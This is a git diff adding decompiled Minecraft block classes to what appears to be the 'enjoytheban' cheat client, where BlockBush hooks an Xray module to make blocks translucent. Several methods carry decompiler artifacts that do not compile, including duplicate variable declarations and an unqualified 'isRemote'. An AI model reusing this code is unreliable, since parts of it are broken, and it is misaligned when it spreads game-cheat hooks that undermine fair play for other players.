+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.InventoryHelper;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityBrewingStand;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.World;
+
+public class BlockBrewingStand extends BlockContainer
+{
+  public static final PropertyBool[] BOTTLE_PROPS = { PropertyBool.create("has_bottle_0"), PropertyBool.create("has_bottle_1"), PropertyBool.create("has_bottle_2") };
+  private final Random rand = new Random();
+  private static final String __OBFID = "CL_00000207";
+  
+  public BlockBrewingStand()
+  {
+    super(Material.iron);
+    setDefaultState(blockState.getBaseState().withProperty(BOTTLE_PROPS[0], Boolean.valueOf(false)).withProperty(BOTTLE_PROPS[1], Boolean.valueOf(false)).withProperty(BOTTLE_PROPS[2], Boolean.valueOf(false)));
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityBrewingStand();
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity)
+  {
+    setBlockBounds(0.4375F, 0.0F, 0.4375F, 0.5625F, 0.875F, 0.5625F);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    setBlockBoundsForItemRender();
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.125F, 1.0F);
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    TileEntity var9 = worldIn.getTileEntity(pos);
+    
+    if ((var9 instanceof TileEntityBrewingStand))
+    {
+      playerIn.displayGUIChest((TileEntityBrewingStand)var9);
+    }
+    
+    return true;
+  }
+  
+
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    if (stack.hasDisplayName())
+    {
+      TileEntity var6 = worldIn.getTileEntity(pos);
+      
+      if ((var6 instanceof TileEntityBrewingStand))
+      {
+        ((TileEntityBrewingStand)var6).func_145937_a(stack.getDisplayName());
+      }
+    }
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    double var5 = pos.getX() + 0.4F + rand.nextFloat() * 0.2F;
+    double var7 = pos.getY() + 0.7F + rand.nextFloat() * 0.3F;
+    double var9 = pos.getZ() + 0.4F + rand.nextFloat() * 0.2F;
+    worldIn.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var5, var7, var9, 0.0D, 0.0D, 0.0D, new int[0]);
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    TileEntity var4 = worldIn.getTileEntity(pos);
+    
+    if ((var4 instanceof TileEntityBrewingStand))
+    {
+      InventoryHelper.dropInventoryItems(worldIn, pos, (TileEntityBrewingStand)var4);
+    }
+    
+    super.breakBlock(worldIn, pos, state);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.brewing_stand;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.brewing_stand;
+  }
+  
+  public boolean hasComparatorInputOverride()
+  {
+    return true;
+  }
+  
+  public int getComparatorInputOverride(World worldIn, BlockPos pos)
+  {
+    return Container.calcRedstoneFromInventory(worldIn.getTileEntity(pos));
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    IBlockState var2 = getDefaultState();
+    
+    for (int var3 = 0; var3 < 3; var3++)
+    {
+      var2 = var2.withProperty(BOTTLE_PROPS[var3], Boolean.valueOf((meta & 1 << var3) > 0));
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    int var2 = 0;
+    
+    for (int var3 = 0; var3 < 3; var3++)
+    {
+      if (((Boolean)state.getValue(BOTTLE_PROPS[var3])).booleanValue())
+      {
+        var2 |= 1 << var3;
+      }
+    }
+    
+    return var2;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { BOTTLE_PROPS[0], BOTTLE_PROPS[1], BOTTLE_PROPS[2] });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockBush.java b/src/minecraft/net/minecraft/block/BlockBush.java
new file mode 100644
index 0000000..615545c
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockBush.java
@@ -0,0 +1,95 @@
+package net.minecraft.block;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.modules.render.Xray;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.World;
+
+public class BlockBush extends Block
+{
+  private static final String __OBFID = "CL_00000208";
+  
+  protected BlockBush(Material materialIn)
+  {
+    super(materialIn);
+    setTickRandomly(true);
+    float var2 = 0.2F;
+    setBlockBounds(0.5F - var2, 0.0F, 0.5F - var2, 0.5F + var2, var2 * 3.0F, 0.5F + var2);
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+  protected BlockBush()
+  {
+    this(Material.plants);
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return (super.canPlaceBlockAt(worldIn, pos)) && (canPlaceBlockOn(worldIn.getBlockState(pos.offsetDown()).getBlock()));
+  }
+  
+
+
+
+  protected boolean canPlaceBlockOn(Block ground)
+  {
+    return (ground == Blocks.grass) || (ground == Blocks.dirt) || (ground == Blocks.farmland);
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    super.onNeighborBlockChange(worldIn, pos, state, neighborBlock);
+    func_176475_e(worldIn, pos, state);
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    func_176475_e(worldIn, pos, state);
+  }
+  
+  protected void func_176475_e(World worldIn, BlockPos p_176475_2_, IBlockState p_176475_3_)
+  {
+    if (!canBlockStay(worldIn, p_176475_2_, p_176475_3_))
+    {
+      dropBlockAsItem(worldIn, p_176475_2_, p_176475_3_, 0);
+      worldIn.setBlockState(p_176475_2_, Blocks.air.getDefaultState(), 3);
+    }
+  }
+  
+  public boolean canBlockStay(World worldIn, BlockPos p_180671_2_, IBlockState p_180671_3_)
+  {
+    return canPlaceBlockOn(worldIn.getBlockState(p_180671_2_.offsetDown()).getBlock());
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    if (Client.instance.getModuleManager().getModuleByClass(Xray.class).isEnabled()) {
+      return EnumWorldBlockLayer.TRANSLUCENT;
+    }
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockButton.java b/src/minecraft/net/minecraft/block/BlockButton.java
new file mode 100644
index 0000000..234e6ab
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockButton.java
@@ -0,0 +1,441 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public abstract class BlockButton extends Block
+{
+  public static final PropertyDirection FACING_PROP = PropertyDirection.create("facing");
+  public static final PropertyBool POWERED_PROP = PropertyBool.create("powered");
+  private final boolean wooden;
+  private static final String __OBFID = "CL_00000209";
+  
+  protected BlockButton(boolean wooden)
+  {
+    super(Material.circuits);
+    setDefaultState(blockState.getBaseState().withProperty(FACING_PROP, EnumFacing.NORTH).withProperty(POWERED_PROP, Boolean.valueOf(false)));
+    setTickRandomly(true);
+    setCreativeTab(CreativeTabs.tabRedstone);
+    this.wooden = wooden;
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+
+
+
+  public int tickRate(World worldIn)
+  {
+    return wooden ? 30 : 20;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canPlaceBlockOnSide(World worldIn, BlockPos pos, EnumFacing side)
+  {
+    return worldIn.getBlockState(pos.offset(side.getOpposite())).getBlock().isNormalCube();
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    EnumFacing[] var3 = EnumFacing.values();
+    int var4 = var3.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      EnumFacing var6 = var3[var5];
+      
+      if (worldIn.getBlockState(pos.offset(var6)).getBlock().isNormalCube())
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return worldIn.getBlockState(pos.offset(facing.getOpposite())).getBlock().isNormalCube() ? getDefaultState().withProperty(FACING_PROP, facing).withProperty(POWERED_PROP, Boolean.valueOf(false)) : getDefaultState().withProperty(FACING_PROP, EnumFacing.DOWN).withProperty(POWERED_PROP, Boolean.valueOf(false));
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (func_176583_e(worldIn, pos, state))
+    {
+      EnumFacing var5 = (EnumFacing)state.getValue(FACING_PROP);
+      
+      if (!worldIn.getBlockState(pos.offset(var5.getOpposite())).getBlock().isNormalCube())
+      {
+        dropBlockAsItem(worldIn, pos, state, 0);
+        worldIn.setBlockToAir(pos);
+      }
+    }
+  }
+  
+  private boolean func_176583_e(World worldIn, BlockPos p_176583_2_, IBlockState p_176583_3_)
+  {
+    if (!canPlaceBlockAt(worldIn, p_176583_2_))
+    {
+      dropBlockAsItem(worldIn, p_176583_2_, p_176583_3_, 0);
+      worldIn.setBlockToAir(p_176583_2_);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    func_180681_d(access.getBlockState(pos));
+  }
+  
+  private void func_180681_d(IBlockState p_180681_1_)
+  {
+    EnumFacing var2 = (EnumFacing)p_180681_1_.getValue(FACING_PROP);
+    boolean var3 = ((Boolean)p_180681_1_.getValue(POWERED_PROP)).booleanValue();
+    float var4 = 0.25F;
+    float var5 = 0.375F;
+    float var6 = (var3 ? 1 : 2) / 16.0F;
+    float var7 = 0.125F;
+    float var8 = 0.1875F;
+    
+    switch (SwitchEnumFacing.field_180420_a[var2.ordinal()])
+    {
+    case 1: 
+      setBlockBounds(0.0F, 0.375F, 0.3125F, var6, 0.625F, 0.6875F);
+      break;
+    
+    case 2: 
+      setBlockBounds(1.0F - var6, 0.375F, 0.3125F, 1.0F, 0.625F, 0.6875F);
+      break;
+    
+    case 3: 
+      setBlockBounds(0.3125F, 0.375F, 0.0F, 0.6875F, 0.625F, var6);
+      break;
+    
+    case 4: 
+      setBlockBounds(0.3125F, 0.375F, 1.0F - var6, 0.6875F, 0.625F, 1.0F);
+      break;
+    
+    case 5: 
+      setBlockBounds(0.3125F, 0.0F, 0.375F, 0.6875F, 0.0F + var6, 0.625F);
+      break;
+    
+    case 6: 
+      setBlockBounds(0.3125F, 1.0F - var6, 0.375F, 0.6875F, 1.0F, 0.625F);
+    }
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (((Boolean)state.getValue(POWERED_PROP)).booleanValue())
+    {
+      return true;
+    }
+    
+
+    worldIn.setBlockState(pos, state.withProperty(POWERED_PROP, Boolean.valueOf(true)), 3);
+    worldIn.markBlockRangeForRenderUpdate(pos, pos);
+    worldIn.playSoundEffect(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D, "random.click", 0.3F, 0.6F);
+    func_176582_b(worldIn, pos, (EnumFacing)state.getValue(FACING_PROP));
+    worldIn.scheduleUpdate(pos, this, tickRate(worldIn));
+    return true;
+  }
+  
+
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (((Boolean)state.getValue(POWERED_PROP)).booleanValue())
+    {
+      func_176582_b(worldIn, pos, (EnumFacing)state.getValue(FACING_PROP));
+    }
+    
+    super.breakBlock(worldIn, pos, state);
+  }
+  
+  public int isProvidingWeakPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return ((Boolean)state.getValue(POWERED_PROP)).booleanValue() ? 15 : 0;
+  }
+  
+  public int isProvidingStrongPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return state.getValue(FACING_PROP) == side ? 15 : !((Boolean)state.getValue(POWERED_PROP)).booleanValue() ? 0 : 0;
+  }
+  
+
+
+
+  public boolean canProvidePower()
+  {
+    return true;
+  }
+  
+
+
+  public void randomTick(World worldIn, BlockPos pos, IBlockState state, Random random) {}
+  
+
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!isRemote)
+    {
+      if (((Boolean)state.getValue(POWERED_PROP)).booleanValue())
+      {
+        if (wooden)
+        {
+          func_180680_f(worldIn, pos, state);
+        }
+        else
+        {
+          worldIn.setBlockState(pos, state.withProperty(POWERED_PROP, Boolean.valueOf(false)));
+          func_176582_b(worldIn, pos, (EnumFacing)state.getValue(FACING_PROP));
+          worldIn.playSoundEffect(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D, "random.click", 0.3F, 0.5F);
+          worldIn.markBlockRangeForRenderUpdate(pos, pos);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    float var1 = 0.1875F;
+    float var2 = 0.125F;
+    float var3 = 0.125F;
+    setBlockBounds(0.5F - var1, 0.5F - var2, 0.5F - var3, 0.5F + var1, 0.5F + var2, 0.5F + var3);
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, IBlockState state, Entity entityIn)
+  {
+    if (!isRemote)
+    {
+      if (wooden)
+      {
+        if (!((Boolean)state.getValue(POWERED_PROP)).booleanValue())
+        {
+          func_180680_f(worldIn, pos, state);
+        }
+      }
+    }
+  }
+  
+  private void func_180680_f(World worldIn, BlockPos p_180680_2_, IBlockState p_180680_3_)
+  {
+    func_180681_d(p_180680_3_);
+    List var4 = worldIn.getEntitiesWithinAABB(EntityArrow.class, new AxisAlignedBB(p_180680_2_.getX() + minX, p_180680_2_.getY() + minY, p_180680_2_.getZ() + minZ, p_180680_2_.getX() + maxX, p_180680_2_.getY() + maxY, p_180680_2_.getZ() + maxZ));
+    boolean var5 = !var4.isEmpty();
+    boolean var6 = ((Boolean)p_180680_3_.getValue(POWERED_PROP)).booleanValue();
+    
+    if ((var5) && (!var6))
+    {
+      worldIn.setBlockState(p_180680_2_, p_180680_3_.withProperty(POWERED_PROP, Boolean.valueOf(true)));
+      func_176582_b(worldIn, p_180680_2_, (EnumFacing)p_180680_3_.getValue(FACING_PROP));
+      worldIn.markBlockRangeForRenderUpdate(p_180680_2_, p_180680_2_);
+      worldIn.playSoundEffect(p_180680_2_.getX() + 0.5D, p_180680_2_.getY() + 0.5D, p_180680_2_.getZ() + 0.5D, "random.click", 0.3F, 0.6F);
+    }
+    
+    if ((!var5) && (var6))
+    {
+      worldIn.setBlockState(p_180680_2_, p_180680_3_.withProperty(POWERED_PROP, Boolean.valueOf(false)));
+      func_176582_b(worldIn, p_180680_2_, (EnumFacing)p_180680_3_.getValue(FACING_PROP));
+      worldIn.markBlockRangeForRenderUpdate(p_180680_2_, p_180680_2_);
+      worldIn.playSoundEffect(p_180680_2_.getX() + 0.5D, p_180680_2_.getY() + 0.5D, p_180680_2_.getZ() + 0.5D, "random.click", 0.3F, 0.5F);
+    }
+    
+    if (var5)
+    {
+      worldIn.scheduleUpdate(p_180680_2_, this, tickRate(worldIn));
+    }
+  }
+  
+  private void func_176582_b(World worldIn, BlockPos p_176582_2_, EnumFacing p_176582_3_)
+  {
+    worldIn.notifyNeighborsOfStateChange(p_176582_2_, this);
+    worldIn.notifyNeighborsOfStateChange(p_176582_2_.offset(p_176582_3_.getOpposite()), this);
+  }
+  
+  public IBlockState getStateFromMeta(int meta) {
+    EnumFacing var2;
+    EnumFacing var2;
+    EnumFacing var2;
+    EnumFacing var2;
+    EnumFacing var2;
+    EnumFacing var2;
+    switch (meta & 0x7)
+    {
+    case 0: 
+      var2 = EnumFacing.DOWN;
+      break;
+    
+    case 1: 
+      var2 = EnumFacing.EAST;
+      break;
+    
+    case 2: 
+      var2 = EnumFacing.WEST;
+      break;
+    
+    case 3: 
+      var2 = EnumFacing.SOUTH;
+      break;
+    
+    case 4: 
+      var2 = EnumFacing.NORTH;
+      break;
+    
+    case 5: 
+    default: 
+      var2 = EnumFacing.UP;
+    }
+    
+    return getDefaultState().withProperty(FACING_PROP, var2).withProperty(POWERED_PROP, Boolean.valueOf((meta & 0x8) > 0));
+  }
+  
+  public int getMetaFromState(IBlockState state) {
+    int var2;
+    int var2;
+    int var2;
+    int var2;
+    int var2;
+    int var2;
+    switch (SwitchEnumFacing.field_180420_a[((EnumFacing)state.getValue(FACING_PROP)).ordinal()])
+    {
+    case 1: 
+      var2 = 1;
+      break;
+    
+    case 2: 
+      var2 = 2;
+      break;
+    
+    case 3: 
+      var2 = 3;
+      break;
+    
+    case 4: 
+      var2 = 4;
+      break;
+    
+    case 5: 
+    default: 
+      var2 = 5;
+      break;
+    
+    case 6: 
+      var2 = 0;
+    }
+    
+    if (((Boolean)state.getValue(POWERED_PROP)).booleanValue())
+    {
+      var2 |= 0x8;
+    }
+    
+    return var2;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { FACING_PROP, POWERED_PROP });
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_180420_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002131";
+    
+    static
+    {
+      try
+      {
+        field_180420_a[EnumFacing.EAST.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180420_a[EnumFacing.WEST.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180420_a[EnumFacing.SOUTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_180420_a[EnumFacing.NORTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_180420_a[EnumFacing.UP.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_180420_a[EnumFacing.DOWN.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockButtonStone.java b/src/minecraft/net/minecraft/block/BlockButtonStone.java
new file mode 100644
index 0000000..01d1fc2
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockButtonStone.java
@@ -0,0 +1,11 @@
+package net.minecraft.block;
+
+public class BlockButtonStone extends BlockButton
+{
+  private static final String __OBFID = "CL_00000319";
+  
+  protected BlockButtonStone()
+  {
+    super(false);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockButtonWood.java b/src/minecraft/net/minecraft/block/BlockButtonWood.java
new file mode 100644
index 0000000..808a072
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockButtonWood.java
@@ -0,0 +1,11 @@
+package net.minecraft.block;
+
+public class BlockButtonWood extends BlockButton
+{
+  private static final String __OBFID = "CL_00000336";
+  
+  protected BlockButtonWood()
+  {
+    super(true);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockCactus.java b/src/minecraft/net/minecraft/block/BlockCactus.java
new file mode 100644
index 0000000..1f659f2
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockCactus.java
@@ -0,0 +1,151 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.World;
+
+public class BlockCactus extends Block
+{
+  public static final PropertyInteger AGE_PROP = PropertyInteger.create("age", 0, 15);
+  private static final String __OBFID = "CL_00000210";
+  
+  protected BlockCactus()
+  {
+    super(Material.cactus);
+    setDefaultState(blockState.getBaseState().withProperty(AGE_PROP, Integer.valueOf(0)));
+    setTickRandomly(true);
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    BlockPos var5 = pos.offsetUp();
+    
+    if (worldIn.isAirBlock(var5))
+    {
+
+
+      for (int var6 = 1; worldIn.getBlockState(pos.offsetDown(var6)).getBlock() == this; var6++) {}
+      
+
+
+
+      if (var6 < 3)
+      {
+        int var7 = ((Integer)state.getValue(AGE_PROP)).intValue();
+        
+        if (var7 == 15)
+        {
+          worldIn.setBlockState(var5, getDefaultState());
+          IBlockState var8 = state.withProperty(AGE_PROP, Integer.valueOf(0));
+          worldIn.setBlockState(pos, var8, 4);
+          onNeighborBlockChange(worldIn, var5, var8, this);
+        }
+        else
+        {
+          worldIn.setBlockState(pos, state.withProperty(AGE_PROP, Integer.valueOf(var7 + 1)), 4);
+        }
+      }
+    }
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    float var4 = 0.0625F;
+    return new AxisAlignedBB(pos.getX() + var4, pos.getY(), pos.getZ() + var4, pos.getX() + 1 - var4, pos.getY() + 1 - var4, pos.getZ() + 1 - var4);
+  }
+  
+  public AxisAlignedBB getSelectedBoundingBox(World worldIn, BlockPos pos)
+  {
+    float var3 = 0.0625F;
+    return new AxisAlignedBB(pos.getX() + var3, pos.getY(), pos.getZ() + var3, pos.getX() + 1 - var3, pos.getY() + 1, pos.getZ() + 1 - var3);
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return super.canPlaceBlockAt(worldIn, pos) ? canBlockStay(worldIn, pos) : false;
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!canBlockStay(worldIn, pos))
+    {
+      worldIn.destroyBlock(pos, true);
+    }
+  }
+  
+  public boolean canBlockStay(World worldIn, BlockPos p_176586_2_)
+  {
+    Iterator var3 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    while (var3.hasNext())
+    {
+      EnumFacing var4 = (EnumFacing)var3.next();
+      
+      if (worldIn.getBlockState(p_176586_2_.offset(var4)).getBlock().getMaterial().isSolid())
+      {
+        return false;
+      }
+    }
+    
+    Block var5 = worldIn.getBlockState(p_176586_2_.offsetDown()).getBlock();
+    return (var5 == Blocks.cactus) || (var5 == Blocks.sand);
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, IBlockState state, Entity entityIn)
+  {
+    entityIn.attackEntityFrom(DamageSource.cactus, 1.0F);
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(AGE_PROP, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(AGE_PROP)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { AGE_PROP });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockCake.java b/src/minecraft/net/minecraft/block/BlockCake.java
new file mode 100644
index 0000000..3f79680
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockCake.java
@@ -0,0 +1,177 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.FoodStats;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockCake extends Block
+{
+  public static final PropertyInteger BITES = PropertyInteger.create("bites", 0, 6);
+  private static final String __OBFID = "CL_00000211";
+  
+  protected BlockCake()
+  {
+    super(Material.cake);
+    setDefaultState(blockState.getBaseState().withProperty(BITES, Integer.valueOf(0)));
+    setTickRandomly(true);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    float var3 = 0.0625F;
+    float var4 = (1 + ((Integer)access.getBlockState(pos).getValue(BITES)).intValue() * 2) / 16.0F;
+    float var5 = 0.5F;
+    setBlockBounds(var4, 0.0F, var3, 1.0F - var3, var5, 1.0F - var3);
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    float var1 = 0.0625F;
+    float var2 = 0.5F;
+    setBlockBounds(var1, 0.0F, var1, 1.0F - var1, var2, 1.0F - var1);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    float var4 = 0.0625F;
+    float var5 = (1 + ((Integer)state.getValue(BITES)).intValue() * 2) / 16.0F;
+    float var6 = 0.5F;
+    return new AxisAlignedBB(pos.getX() + var5, pos.getY(), pos.getZ() + var4, pos.getX() + 1 - var4, pos.getY() + var6, pos.getZ() + 1 - var4);
+  }
+  
+  public AxisAlignedBB getSelectedBoundingBox(World worldIn, BlockPos pos)
+  {
+    return getCollisionBoundingBox(worldIn, pos, worldIn.getBlockState(pos));
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    eatCake(worldIn, pos, state, playerIn);
+    return true;
+  }
+  
+  public void onBlockClicked(World worldIn, BlockPos pos, EntityPlayer playerIn)
+  {
+    eatCake(worldIn, pos, worldIn.getBlockState(pos), playerIn);
+  }
+  
+  private void eatCake(World worldIn, BlockPos p_180682_2_, IBlockState p_180682_3_, EntityPlayer p_180682_4_)
+  {
+    if (p_180682_4_.canEat(false))
+    {
+      p_180682_4_.getFoodStats().addStats(2, 0.1F);
+      int var5 = ((Integer)p_180682_3_.getValue(BITES)).intValue();
+      
+      if (var5 < 6)
+      {
+        worldIn.setBlockState(p_180682_2_, p_180682_3_.withProperty(BITES, Integer.valueOf(var5 + 1)), 3);
+      }
+      else
+      {
+        worldIn.setBlockToAir(p_180682_2_);
+      }
+    }
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return super.canPlaceBlockAt(worldIn, pos) ? canBlockStay(worldIn, pos) : false;
+  }
+  
